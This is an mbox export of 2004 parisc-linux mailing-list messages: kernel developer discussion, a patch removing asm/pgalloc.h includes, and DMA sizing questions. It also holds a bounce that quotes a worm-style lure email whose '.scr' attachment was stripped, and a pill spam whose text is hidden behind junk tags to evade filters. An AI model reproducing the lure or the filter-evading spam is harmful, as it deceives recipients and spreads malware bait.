Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: willy@www.linux.org.uk  Mon Apr 19 05:37:14 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7795E488E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Apr 2004 05:37:14 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1BFX5N-0002uO-Dq; Mon, 19 Apr 2004 12:37:13 +0100
Content-Disposition: inline
In-Reply-To: <20040419061120.GE28684@colo.lackof.org>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 19 Apr 2004 11:37:14 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21467

On Mon, Apr 19, 2004 at 12:11:20AM -0600, Grant Grundler wrote:
> IIRC, willy normally commits the new upstream to a seperate branch and
> then updates the main line from that. He's been pretty good about it
> and will get to it soon enough.

umm.. i was paying no attention at all to 2.4.  i can certainly do a merge
if there's interest.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King <rmk+lkml@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] Clean up asm/pgalloc.h include (parisc)
Date: Mon, 19 Apr 2004 14:21:58 +0100
Lines: 110
Approved: news@gmane.org
Message-ID: <E1BFYik-000567-AF__22796.0792872638$1416623389$gmane$org@dyn-67.arm.linux.org.uk>
References: <20040418231720.C12222@flint.arm.linux.org.uk>
	<20040418232314.A2045@flint.arm.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623389 8493 80.91.229.3 (22 Nov 2014 02:29:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:49 +0000 (UTC)
To: Linux Kernel List <linux-kernel@vger.kernel.org>, matthew@wil.cx,
	parisc-linux@parisc-linux.org
Original-X-From: rmk+parisc-linux=parisc-linux.org@arm.linux.org.uk  Mon Apr 19 07:22:07 2004
Return-Path: <rmk+parisc-linux=parisc-linux.org@arm.linux.org.uk>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from caramon.arm.linux.org.uk (caramon.arm.linux.org.uk
	[212.18.232.186])
	by dsl2.external.hp.com (Postfix) with ESMTP id 50E314839
	for <parisc-linux@parisc-linux.org>;
	Mon, 19 Apr 2004 07:22:07 -0600 (MDT)
Original-Received: from [2002:d412:e8ba:1:201:80ff:fe4b:1778]
	(helo=dyn-67.arm.linux.org.uk)
	by caramon.arm.linux.org.uk with asmtp (TLSv1:DES-CBC3-SHA:168)
	(Exim 4.32) id 1BFYik-0005hm-P9; Mon, 19 Apr 2004 14:21:58 +0100
Original-Received: from rmk by dyn-67.arm.linux.org.uk with local (Exim 4.32)
	id 1BFYik-000567-AF; Mon, 19 Apr 2004 14:21:58 +0100
In-Reply-To: <20040418232314.A2045@flint.arm.linux.org.uk>;
	from rmk+lkml@arm.linux.org.uk on Sun, Apr 18, 2004 at 11:23:14PM
	+0100
Original-Sender: Russell King <rmk@arm.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 19 Apr 2004 13:22:08 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21468

This patch cleans up needless includes of asm/pgalloc.h from the
arch/parisc/ subtree.  This has not been compile tested, so
needs the architecture maintainers (or willing volunteers) to
test.

Please ensure that at least the first two patches have already
been applied to your tree; they can be found at:

	http://lkml.org/lkml/2004/4/18/86
	http://lkml.org/lkml/2004/4/18/87

This patch is part of a larger patch aiming towards getting the
include of asm/pgtable.h out of linux/mm.h, so that asm/pgtable.h
can sanely get at things like mm_struct and friends.

In the event that any of these files fails to build, chances are
you need to include some other header file rather than pgalloc.h.
Normally this is either asm/pgtable.h (unlikely), asm/cacheflush.h
or asm/tlbflush.h.

===== arch/parisc/hpux/sys_hpux.c 1.10 vs edited =====
--- 1.10/arch/parisc/hpux/sys_hpux.c	Wed Feb 25 10:31:12 2004
+++ edited/arch/parisc/hpux/sys_hpux.c	Mon Apr 19 13:39:57 2004
@@ -32,7 +32,6 @@
 #include <linux/vfs.h>
 
 #include <asm/errno.h>
-#include <asm/pgalloc.h>
 #include <asm/uaccess.h>
 
 unsigned long hpux_brk(unsigned long addr)
===== arch/parisc/kernel/cache.c 1.9 vs edited =====
--- 1.9/arch/parisc/kernel/cache.c	Sun Apr 18 17:13:09 2004
+++ edited/arch/parisc/kernel/cache.c	Mon Apr 19 13:39:57 2004
@@ -24,7 +24,6 @@
 #include <asm/tlbflush.h>
 #include <asm/system.h>
 #include <asm/page.h>
-#include <asm/pgalloc.h>
 #include <asm/processor.h>
 
 int split_tlb;
===== arch/parisc/kernel/init_task.c 1.7 vs edited =====
--- 1.7/arch/parisc/kernel/init_task.c	Wed Feb  4 05:41:56 2004
+++ edited/arch/parisc/kernel/init_task.c	Mon Apr 19 13:39:57 2004
@@ -30,7 +30,6 @@
 
 #include <asm/uaccess.h>
 #include <asm/pgtable.h>
-#include <asm/pgalloc.h>
 
 static struct fs_struct init_fs = INIT_FS;
 static struct files_struct init_files = INIT_FILES;
===== arch/parisc/kernel/pci-dma.c 1.9 vs edited =====
--- 1.9/arch/parisc/kernel/pci-dma.c	Sun Mar 14 19:17:06 2004
+++ edited/arch/parisc/kernel/pci-dma.c	Mon Apr 19 13:39:57 2004
@@ -29,7 +29,6 @@
 #include <asm/dma.h>    /* for DMA_CHUNK_SIZE */
 #include <asm/io.h>
 #include <asm/page.h>	/* get_order */
-#include <asm/pgalloc.h>
 #include <asm/uaccess.h>
 
 static struct proc_dir_entry * proc_gsc_root = NULL;
===== arch/parisc/kernel/signal.c 1.13 vs edited =====
--- 1.13/arch/parisc/kernel/signal.c	Thu Dec 18 05:48:39 2003
+++ edited/arch/parisc/kernel/signal.c	Mon Apr 19 13:39:57 2004
@@ -30,7 +30,6 @@
 #include <asm/ucontext.h>
 #include <asm/rt_sigframe.h>
 #include <asm/uaccess.h>
-#include <asm/pgalloc.h>
 #include <asm/cacheflush.h>
 
 #ifdef CONFIG_COMPAT
===== arch/parisc/kernel/smp.c 1.10 vs edited =====
--- 1.10/arch/parisc/kernel/smp.c	Sun Mar 14 01:57:41 2004
+++ edited/arch/parisc/kernel/smp.c	Mon Apr 19 13:39:55 2004
@@ -39,7 +39,7 @@
 #include <asm/bitops.h>
 #include <asm/current.h>
 #include <asm/delay.h>
-#include <asm/pgalloc.h>	/* for flush_tlb_all() proto/macro */
+#include <asm/tlbflush.h>	/* for flush_tlb_all() proto/macro */
 
 #include <asm/io.h>
 #include <asm/irq.h>		/* for CPU_IRQ_REGION and friends */
===== arch/parisc/mm/ioremap.c 1.2 vs edited =====
--- 1.2/arch/parisc/mm/ioremap.c	Thu Oct  2 08:11:59 2003
+++ edited/arch/parisc/mm/ioremap.c	Mon Apr 19 13:39:57 2004
@@ -12,7 +12,6 @@
 #include <linux/vmalloc.h>
 #include <linux/errno.h>
 #include <asm/io.h>
-#include <asm/pgalloc.h>
 
 static inline void remap_area_pte(pte_t * pte, unsigned long address, unsigned long size,
 	unsigned long phys_addr, unsigned long flags)
===== arch/parisc/mm/kmap.c 1.4 vs edited =====
--- 1.4/arch/parisc/mm/kmap.c	Wed Feb  4 05:42:01 2004
+++ edited/arch/parisc/mm/kmap.c	Mon Apr 19 13:39:57 2004
@@ -34,7 +34,6 @@
 #include <linux/vmalloc.h>
 
 #include <asm/uaccess.h>
-#include <asm/pgalloc.h>
 
 #include <asm/io.h>
 #include <asm/page.h>		/* get_order */


From - Thu Nov 08 21:31:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: [parisc-linux-cvs] web grundler
Date: Mon, 19 Apr 2004 16:26:10 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <40711E5500008D1F@ocpmta2.freegates.net>
References: <20040418211557.F180D494571@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623390 8494 80.91.229.3 (22 Nov 2014 02:29:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:50 +0000 (UTC)
Cc: grundler@parisc-linux.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Mon Apr 19 08:26:16 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5DE3E4839
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Apr 2004 08:26:16 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1BFZit-0008Ag-00; Mon, 19 Apr 2004 16:26:11 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 19 Apr 2004 16:26:10 +0200
In-Reply-To: <20040418211557.F180D494571@palinux.hppa>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 19 Apr 2004 14:26:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21469

>Module name:	web
>Changes by:	grundler	04/04/18 15:15:57
>
>Modified files:
>	src/faq        : index.x 

Hello Grant,

Are you sure you want to stress so bootable in 'disk or tape drives with
bootable bootable media'?

Apologies too lazy to prepare a patch for so fiew ;)

Joel

PS: I will do it for 'cd integrity check' with a better md5sum but still
have to verify some stuff (don't hesitate to recall me)



----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: [parisc-linux-cvs] linux-2.4 deller
Date: Mon, 19 Apr 2004 16:31:26 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <40711E5500008D36@ocpmta2.freegates.net>
References: <20040419113713.GU18329@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623390 8496 80.91.229.3 (22 Nov 2014 02:29:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>,
	"Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Mon Apr 19 08:31:29 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F74D4839
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Apr 2004 08:31:29 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1BFZny-0000vL-00; Mon, 19 Apr 2004 16:31:26 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 19 Apr 2004 16:31:26 +0200
In-Reply-To: <20040419113713.GU18329@parcelfarce.linux.theplanet.co.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 19 Apr 2004 14:31:29 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21470


>umm. i was paying no attention at all to 2.4.  i can certainly do a merge
> if there's interest.

Thanks (some time I still need to boot back with a 2.4 ;)

Joel

----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-1?Q?Re=3A=20=5Bparisc=2Dlinux=5D=20Re=3A=20kernel=3E=3D2=2E6=2E4=2Drc3=20hung=20or=20panic=20on=20C1=5B18=5D0=09=5Bwas=3A=202=2E6=2E5=2Drc2=2Dpa2=20boot=20panic=20on=20c110=20=3A=28=5D?=
Date: Mon, 19 Apr 2004 18:53:52 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <40711E5500008F1F@ocpmta2.freegates.net>
References: <1082306164.2195.27.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623390 8500 80.91.229.3 (22 Nov 2014 02:29:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:50 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>,
	Andy Walker <ajwalker@broadpark.no>
To: "James Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: soete.joel@tiscali.be  Mon Apr 19 10:53:57 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5BF3C4839
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Apr 2004 10:53:56 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1BFc1o-0001RW-00; Mon, 19 Apr 2004 18:53:52 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 19 Apr 2004 18:53:52 +0200
In-Reply-To: <1082306164.2195.27.camel@mulgrave>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 19 Apr 2004 16:53:57 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21471

James ,

Thanks to your explanation, I become to have (step by step) a more detail
idea on what I did and its borther effect. (still have to confirm by test
:^)

 
>coalescing, so our SG lists were usually lots of page sized entities. 
>Now the individual entries can be up to 256k long.


Just to be sure we spoke about the same thing:
256k for you is it well the parisc_vmerge_max_size = IOVP_SIZE * BITS_PER_LONG?

as IOVP == PAGE_SIZE == 4k and BITS_PER_LONG == 32 for a 32bits kernel, so
parisc_vmerge_max_size= 128k

and BITS_PER_LONG == 64 for 64bit kernel, so parisc_vmerge_max_size= 256k.

Thanks in advance,
    Joel

PS: btw in dma.h I found "#define DMA_CHUNK_SIZE (BITS_PER_LONG*PAGE_SIZE)";
couldn't it used in ccio-dma.c and sba-iommu.c in parisc_vmerge_max_size
assignement?

----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: postmaster@pmds.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Delivery Status Notification (Failure)
Date: Mon, 19 Apr 2004 15:20:07 -0400
Lines: 51
Approved: news@gmane.org
Message-ID: <FRaqbC8wS00002c7d@pmds_main.pmds.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
	boundary="9B095B5ADSN=_01C41E1D3CFB883E00013AB9pmds_main.pmds.c"
X-Trace: ger.gmane.org 1416623390 8502 80.91.229.3 (22 Nov 2014 02:29:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: MAILER-DAEMON  Mon Apr 19 13:20:02 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pmds_main.pmds.com (mail.pmds.com [66.153.70.180])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8BFF6482E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Apr 2004 13:20:01 -0600 (MDT)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 19 Apr 2004 19:20:02 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21472

This is a MIME-formatted message.  
Portions of this message may be unreadable without a MIME-capable mail program.

--9B095B5ADSN=_01C41E1D3CFB883E00013AB9pmds_main.pmds.c
Content-Type: text/plain; charset=

This is an automatically generated Delivery Status Notification.

Delivery to the following recipients failed.

       asprspub@pmds.com




--9B095B5ADSN=_01C41E1D3CFB883E00013AB9pmds_main.pmds.c
Content-Type: message/delivery-status


--9B095B5ADSN=_01C41E1D3CFB883E00013AB9pmds_main.pmds.c
Content-Type: message/rfc822

From: parisc-linux@lists.parisc-linux.org
To: asprspub@pmds.com
Subject: i know your document!
Date: Mon, 19 Apr 2004 15:24:10 -0400
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0005_00001D8D.00001E7F"
Message-ID: <PMDS_MAINjTmn3JY3Av000021eb@pmds_main.pmds.com>

This is a multi-part message in MIME format.

------=_NextPart_000_0005_00001D8D.00001E7F
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

do not use my document!

------=_NextPart_000_0005_00001D8D.00001E7F
Content-Type: text/plain; charset=us-ascii

[Attachment denied by WatchGuard SMTP proxy, contact Mark Whyte (type "application/octet-stream", filename "trash.htm.scr")]
------=_NextPart_000_0005_00001D8D.00001E7F--




--9B095B5ADSN=_01C41E1D3CFB883E00013AB9pmds_main.pmds.c--


From - Thu Nov 08 21:31:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ervin Kelley" <kelleyjr@modal-bildung.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Spare yourself embarra;ssment
Date: Mon, 19 Apr 2004 18:39:47 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <b8f801c4263d$32507d18$41a54844@cimaka.ch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623391 8504 80.91.229.3 (22 Nov 2014 02:29:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:51 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: kelleyjr@modal-bildung.at  Mon Apr 19 14:05:30 2004
Return-Path: <kelleyjr@modal-bildung.at>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cimaka.ch (98.Red-213-98-241.pooles.rima-tde.net
	[213.98.241.98])
	by dsl2.external.hp.com (Postfix) with SMTP id 3227F485B
	for <parisc-linux@parisc-linux.org>;
	Mon, 19 Apr 2004 14:05:23 -0600 (MDT)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 19 Apr 2004 20:05:30 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21473

<html>
<body>
<center>
<font face="verdana" size="+3">T<kvxoypwdlryrt>he o<kgqkuqwcsngwxkd>nly<kiljjsdckjucibd> so<kivjwkdboybs>lut<kvzlqilcotx>ion to P<ktykurlbrtmii>en<kaudoucdfsjiftb>is E<kptpgyrdgry>nl<kohuyosmmswaw>arge<kygocmcsgcnkz>me<kxkfzjwdyzl>nt</font>
<p>
<font size="+2" face="arial"><b><font color="#F30101"><kridxilclottpsb>L<kaqeforrhusdw>IM<klzealmbslv>I<kuepsxgctstavpb>TE<kcbnjbobxmpmtqb>D <kcimcdydwmygr>OF<knywpctbmpl>FE<kwgfdevegoc>R:</font></b> A<kqhwkjxbnplzr>dd at l<kjknpnabcwzrgbd>east 3 I<kllfoxqbpyqcvm>NCH<kouehbegpvcxpc>ES or ge<knmwfgdzfmzd>t y<kcohwgfbbdgi>our mon<kjopouwdrxq>ey bac<kffxmxkfllpl>k!
<p>
<table width="600">
<tr>
<td>
<font face="arial">
<kbkxhybballpy>We a<kgiqthsdgabff>re s<kryrccybzztdakb>o sur<kazvwcpjgkopjd>e o<ksibqogbhlu>ur p<kcuiigrcwzpvc>rod<kvssjpsdtde>uct wo<kanfadobqidawj>rks w<kgoyotybtkffjc>e ar<kjsztzibpzvhmj>e wi<kremjkpdjhxoc>lling to pr<kzvolmkdbfang>ove it b<kkdfpmwdbhwm>y of<ksqfasdcudrbu>fer<kwlbnrlcpwteopb>ing a <b>f<kzdxlktdokyqpa>re<kejgwsacnhwlouc>e t<koiyibudmdhvhud>ri<kribzozyfixvud>al b<klitxoochwhlh>ott<kmcbzifbzravysq>le</b> + a 1<kynkqqrcncczmh>0<kzjekxebrql>0% <b>c<kgiebsucznntqs>a<kdrbqzibrlmr>sh b<keyipttbyyq>ack g<kbbnhcqdujfk>uar<kazmibedvqbxdd>ante<konzslocwxoe>e</b> u<kldlrrkbrhbbmwn>pon p<keinsdyblfvz>ur<klvlogqdzrtlmbb>cha<kocjkjvcvsaa>se if y<kqrelutcsnxzoc>ou ar<ksxkjswziee>e n<kfhjphgbmtuhib>ot sa<khqxymecahbk>ti<kogberpdlzc>sfie<kbionmtcbew>d w<koesjnkwcczn>ith th<kvzxlktbtutomkm
 >e r<kbfhweudewxqzud>esul<kwevbzmcgtnrfa>ts.
</td>
</tr>
</table>
<p><font face="verdana" size="+2"><b>-<kuqjgpmcjnym>--<kpjtfmbbcpta>></b> <A href="http://pciyggbuzdfo.net-salez.us/b/?dia1900">C<ktywggmdmftyntd>l<kbqcxlmbeaeu>ick He<kuutlzzdvwcj>re<keymfnwcedcj> To L<kpwsmhwctkq>ear<kwboncvdzqxuhbb>n M<kashiewengp>or<ktmaamocqteyvf>e</a> <b><<kwqzvwtdfpyibv>-<kryzmmubwyibgjb>--</b></font>
<p>
<br><br><br><br<br><br><br><br<br>
<font size="-2"><a href="http://pnksivbsqwtuec.net-salez.us/1v3.html">N<kvhbpclburliwd>o m<keirolzdkztffoc>or<kbmsgzadxuyv>e of<kfacankdaij>fe<kcanxlvdyjz>rs</a></font>
</html>


From - Thu Nov 08 21:31:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Erin George <lwdqnnlplt@mail15.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] lowest possible 3.22%   ^l*
Date: Mon, 19 Apr 2004 15:13:45 -0600
Lines: 95
Approved: news@gmane.org
Message-ID: <2214.03052933074$1416623391@news.gmane.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (produced by reckonprune 3.6)
Content-Type: multipart/alternative;
	boundary="--34143991874615577023"
X-Trace: ger.gmane.org 1416623391 8506 80.91.229.3 (22 Nov 2014 02:29:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:51 +0000 (UTC)
To: Parisc-linux <parisc-linux@parisc-linux.org>
Original-X-From: lwdqnnlplt@mail15.com  Mon Apr 19 14:14:16 2004
Return-Path: <lwdqnnlplt@mail15.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D28B485B
	for <parisc-linux@parisc-linux.org>;
	Mon, 19 Apr 2004 14:14:16 -0600 (MDT)
Original-Received: from a81-84-77-80.netcabo.pt (a81-84-77-80.netcabo.pt [81.84.77.80])
	by cuprel1.hp.com (Postfix) with SMTP id 5A8A11595
	for <parisc-linux@parisc-linux.org>;
	Mon, 19 Apr 2004 13:13:45 -0700 (PDT)
